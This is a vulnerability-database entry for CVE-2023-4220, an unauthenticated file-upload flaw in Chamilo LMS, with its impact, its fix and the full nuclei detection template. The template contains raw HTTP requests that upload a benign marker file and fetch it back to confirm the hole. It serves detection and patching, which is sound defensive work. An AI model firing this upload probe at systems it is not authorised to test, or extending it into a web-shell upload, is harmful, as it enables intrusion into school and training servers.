HexBrain

Browse / CVEs / CVE-2023-4220

CVE-2023-4220· chamilo / chamilo lms· CWE-434

Chamilo LMS <= 1.11.24 - Remote Code Execution

mediumseverity
6.1CVSS score
76.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

Impact

Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.

Fix

Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.

How to confirm it

Send: POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported ; GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt
Positive when: contains(body_2,"{{md5(num)}}") and status_code_1 == 200 && status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-4220 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-4220

info:
  name: Chamilo LMS <= 1.11.24 - Remote Code Execution
  author: s4e-io
  severity: medium
  description: |
    Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
  impact: |
    Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.
  remediation: |
    Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.
  reference:
    - https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
    - https://github.com/charlesgargasson/CVE-2023-4220
    - https://starlabs.sg/advisories/23/23-4220/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4220
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4220
    cwe-id: CWE-434
    epss-score: 0.76084
    epss-percentile: 0.99535
    cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: chamilo
    product: chamilo_lms
    shodan-query: "X-Powered-By: Chamilo"
  tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload,vkev,vuln

variables:
  filename: "{{rand_base(10)}}"
  num: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3

        --------------------------SwxF5rRaZb4lETWlpulXn3
        Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
        Content-Type: application/octet-stream

        {{md5(num)}}

        --------------------------SwxF5rRaZb4lETWlpulXn3--

      - |
        GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2,"{{md5(num)}}")'
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from